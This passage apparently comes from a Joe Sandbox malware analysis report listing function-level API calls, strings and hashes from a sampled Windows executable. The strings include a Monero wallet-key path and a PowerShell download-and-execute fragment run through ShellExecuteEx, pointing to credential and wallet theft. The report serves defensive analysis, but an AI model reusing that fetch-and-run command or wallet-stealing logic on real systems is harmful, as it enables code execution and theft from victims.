RtlAllocateHeap.NTDLL(00000000), ref: 006A76AB
RegOpenKeyExA.ADVAPI32(80000002,0125C138,00000000,00020119,00000000), ref: 006A76DD
RegQueryValueExA.ADVAPI32(00000000,0126F478,00000000,00000000,?,000000FF), ref: 006A76FE
RegCloseKey.ADVAPI32(00000000), ref: 006A7708

Strings

Windows 11, xrefs: 006A76BD

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: a86b7ce6f9af7e21b04d3c0cd63d099f5f64e09bd15f6e1220a5a8c91a40aa0b
Instruction ID: 88fc5fa67054846b9f33120d83a2612d5a5b64bcb71a355b302ef9abf83a141a
Opcode Fuzzy Hash: a86b7ce6f9af7e21b04d3c0cd63d099f5f64e09bd15f6e1220a5a8c91a40aa0b
Instruction Fuzzy Hash: C9014FB5A45204BBEB04EBE4DC49FAEB7B9FB48701F204155FA04A7290D67099009F51

Function 006A7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7734
RtlAllocateHeap.NTDLL(00000000), ref: 006A773B
RegOpenKeyExA.ADVAPI32(80000002,0125C138,00000000,00020119,006A76B9), ref: 006A775B
RegQueryValueExA.ADVAPI32(006A76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 006A777A
RegCloseKey.ADVAPI32(006A76B9), ref: 006A7784

Strings

CurrentBuildNumber, xrefs: 006A7771

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 425181f93f701a33c73e7899eae0ed600f1ee4b82947e6fc12d140f2f7938073
Instruction ID: cad26b8189b524b72071b478516a7b74045f5b2b71fb5e484219a4d261cce944
Opcode Fuzzy Hash: 425181f93f701a33c73e7899eae0ed600f1ee4b82947e6fc12d140f2f7938073
Instruction Fuzzy Hash: 9C0144B5A40308BBD704DBE4DC49FAEB7B8FB44701F104559FA05A7281D67059408F51

Function 006A92E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:j,80000000,00000003,00000000,00000003,00000080,00000000,?,006A3AEE,?), ref: 006A92FC
GetFileSizeEx.KERNEL32(000000FF,:j), ref: 006A9319
CloseHandle.KERNEL32(000000FF), ref: 006A9327

Strings

:j, xrefs: 006A92F8, 006A92FB
:j, xrefs: 006A9311, 006A933D, 006A9314

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :j$:j
API String ID: 1378416451-347553651
Opcode ID: f14f4b465b63443dbfa492e9c63d0989d4fdb5415f319714bdcf1792122d6816
Instruction ID: eed8ce2e51409e7d854d9e29382bb14c7c08169a2e68e806ad6ffcf711911981
Opcode Fuzzy Hash: f14f4b465b63443dbfa492e9c63d0989d4fdb5415f319714bdcf1792122d6816
Instruction Fuzzy Hash: F9F03C35E40208BBDF14EBB0DC49B9E77FABB49711F20C294B651A72C0DA719A018F50

Function 006999C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006999EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00699A11
LocalAlloc.KERNEL32(00000040,?), ref: 00699A31
ReadFile.KERNEL32(000000FF,?,00000000,0069148F,00000000), ref: 00699A5A
LocalFree.KERNEL32(0069148F), ref: 00699A90
CloseHandle.KERNEL32(000000FF), ref: 00699A9A

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 590a49903bd483b56ab03ef9d38fdc4d8ffcb869a4c5b39fe70d937b2f4c0aae
Instruction ID: 374a7525219daaa603970d033f96fe29f3dace69886ff5ff1bd48f848da10ecb
Opcode Fuzzy Hash: 590a49903bd483b56ab03ef9d38fdc4d8ffcb869a4c5b39fe70d937b2f4c0aae
Instruction Fuzzy Hash: 3031E2B4A00209EFDF14CF94C885BEE77BAFF48350F208159E911A7290D779AA41CFA1

Function 006A4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0126F580), ref: 006A47DB

Part of subcall function 006A8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006A8E0B

lstrcat.KERNEL32(?,00000000), ref: 006A4801
lstrcat.KERNEL32(?,?), ref: 006A4820
lstrcat.KERNEL32(?,?), ref: 006A4834
lstrcat.KERNEL32(?,0125B738), ref: 006A4847
lstrcat.KERNEL32(?,?), ref: 006A485B
lstrcat.KERNEL32(?,0126E910), ref: 006A486F

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006A8D90: GetFileAttributesA.KERNEL32(00000000,?,00691B54,?,?,006B564C,?,?,006B0E1F), ref: 006A8D9F

Part of subcall function 006A4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 006A4580
Part of subcall function 006A4570: RtlAllocateHeap.NTDLL(00000000), ref: 006A4587
Part of subcall function 006A4570: wsprintfA.USER32 ref: 006A45A6
Part of subcall function 006A4570: FindFirstFileA.KERNEL32(?,?), ref: 006A45BD

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 046175a15adfe31770b03ab34227475eca4d89e782eb98e0196f056acb89f7dc
Instruction ID: 3d280ff7fd9180266fe08f2ed242d1c97ce89f9ac49564f189284b726d08dbf8
Opcode Fuzzy Hash: 046175a15adfe31770b03ab34227475eca4d89e782eb98e0196f056acb89f7dc
Instruction Fuzzy Hash: 17317FB2D00208ABCB54FBB0DC85EEA737DBB49700F40459DB71996091EE749B89CF99

Function 006A2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Part of subcall function 006AA9B0: lstrlen.KERNEL32(?,012691F0,?,\Monero\wallet.keys,006B0E17), ref: 006AA9C5
Part of subcall function 006AA9B0: lstrcpy.KERNEL32(00000000), ref: 006AAA04
Part of subcall function 006AA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006AAA12

Part of subcall function 006AA920: lstrcpy.KERNEL32(00000000,?), ref: 006AA972
Part of subcall function 006AA920: lstrcat.KERNEL32(00000000), ref: 006AA982

Part of subcall function 006AA8A0: lstrcpy.KERNEL32(?,006B0E17), ref: 006AA905

ShellExecuteEx.SHELL32(0000003C), ref: 006A2D85

Strings

')", xrefs: 006A2CB3
<, xrefs: 006A2D39
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 006A2CC4
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 006A2D04

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: a5062ac8c867b54bb3f7fc3dd26bf6a9dfbc17e5f24e3540ab8f96a183ec5422
Instruction ID: b6a478bae377998d061eb281bb9a49fa8a93ab58f9926382d4f58b8b806fbbfa
Opcode Fuzzy Hash: a5062ac8c867b54bb3f7fc3dd26bf6a9dfbc17e5f24e3540ab8f96a183ec5422
Instruction Fuzzy Hash: 4641DE71D102089ADB94FFE0C891BEEBB76AF15300F50411EE106A7192DF746E8ACF95

Function 00699E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00699F41

Part of subcall function 006AA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006AA7E6

Part of subcall function 006AA740: lstrcpy.KERNEL32(006B0E17,00000000), ref: 006AA788

Strings

@, xrefs: 00699EF1
v10, xrefs: 00699EA3
v20, xrefs: 00699E21
ERROR_RUN_EXTRACTOR, xrefs: 00699E67

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocLocal
String ID: @$ERROR_RUN_EXTRACTOR$v10$v20
API String ID: 4171519190-1096346117
Opcode ID: ac31f320eb3bbd6ff7f98895637c9fd31cf88f9cc394115a4d2e8bba42125964
Instruction ID: fe0136cb33f39c26fb8392c02144f9f27e3cbc91d7ec736dffcd9dad94b92917
Opcode Fuzzy Hash: ac31f320eb3bbd6ff7f98895637c9fd31cf88f9cc394115a4d2e8bba42125964
Instruction Fuzzy Hash: EF6151709002089BDF54EFA4CC96FEE77BAAF45304F008118F90A9F581EB746E46CB95

Function 006A40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0126E9F0,00000000,00020119,?), ref: 006A40F4
RegQueryValueExA.ADVAPI32(?,0126F670,00000000,00000000,00000000,000000FF), ref: 006A4118
RegCloseKey.ADVAPI32(?), ref: 006A4122
lstrcat.KERNEL32(?,00000000), ref: 006A4147
lstrcat.KERNEL32(?,0126F688), ref: 006A415B

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 4817573bd02948983d7dd4c2145572abea7a223df67361e56c2fad9874fe8a0b
Instruction ID: d75f2194d8d77964aaec1d40af1cf15453f90fe6cf63b1904440ce9a2f1e229e
Opcode Fuzzy Hash: 4817573bd02948983d7dd4c2145572abea7a223df67361e56c2fad9874fe8a0b
Instruction Fuzzy Hash: BB41D7B6D001086BDF18FBA0DC56FFE733EBB89300F50465DB61657181EA755B888BA2

Function 006A7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006A7E37
RtlAllocateHeap.NTDLL(00000000), ref: 006A7E3E
RegOpenKeyExA.ADVAPI32(80000002,0125BFB0,00000000,00020119,?), ref: 006A7E5E
RegQueryValueExA.ADVAPI32(?,0126E710,00000000,00000000,000000FF,000000FF), ref: 006A7E7F
RegCloseKey.ADVAPI32(?), ref: 006A7E92

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14d285b0822712a1ee4b11107a82b5ed7aad83ea1d8e92f3551d75c5c886f1ca
Instruction ID: 40f2f7a19c7dc83b332553058dcd6db32e47d608c3aae60f407752f8016afc94
Opcode Fuzzy Hash: 14d285b0822712a1ee4b11107a82b5ed7aad83ea1d8e92f3551d75c5c886f1ca
Instruction Fuzzy Hash: 8E115EB1A44205EBDB04DF94DD49FBBBBB9FB44B10F20425AFA06A7280D7745D018FA1

Function 006A9260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0126F460,?,?,?,006A140C,?,0126F460,00000000), ref: 006A926C
lstrcpyn.KERNEL32(008DAB88,0126F460,0126F460,?,006A140C,?,0126F460), ref: 006A9290
lstrlen.KERNEL32(?,?,006A140C,?,0126F460), ref: 006A92A7
wsprintfA.USER32 ref: 006A92C7

Strings

%s%s, xrefs: 006A92B5

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B54000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000B8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117648949.0000000000B8D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117757470.0000000000D27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117772943.0000000000D28000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_690000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 150806ed609558c0d8544418e34c76d67d75315af0f709c48f6e22b5150ee926
Instruction ID: 5df33ea054577a39f4443dfc57613203b247693b0daec723d4eca2e23ba694c2
Opcode Fuzzy Hash: 150806ed609558c0d8544418e34c76d67d75315af0f709c48f6e22b5150ee926
Instruction Fuzzy Hash: 2A01CC75501108FFCB08DFECD984EAE7BB9FB48364F208249F9099B344C631AA41DB91

Function 006912A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006912B4
RtlAllocateHeap.NTDLL(00000000), ref: 006912BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006912D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006912F5
RegCloseKey.ADVAPI32(?), ref: 006912FF

Memory Dump Source

Source File: 00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Offset: 00690000, based on PE: true

Associated: 00000000.00000002.2116097013.0000000000690000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000741000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.000000000074D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116121170.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.00000000008EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800161.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
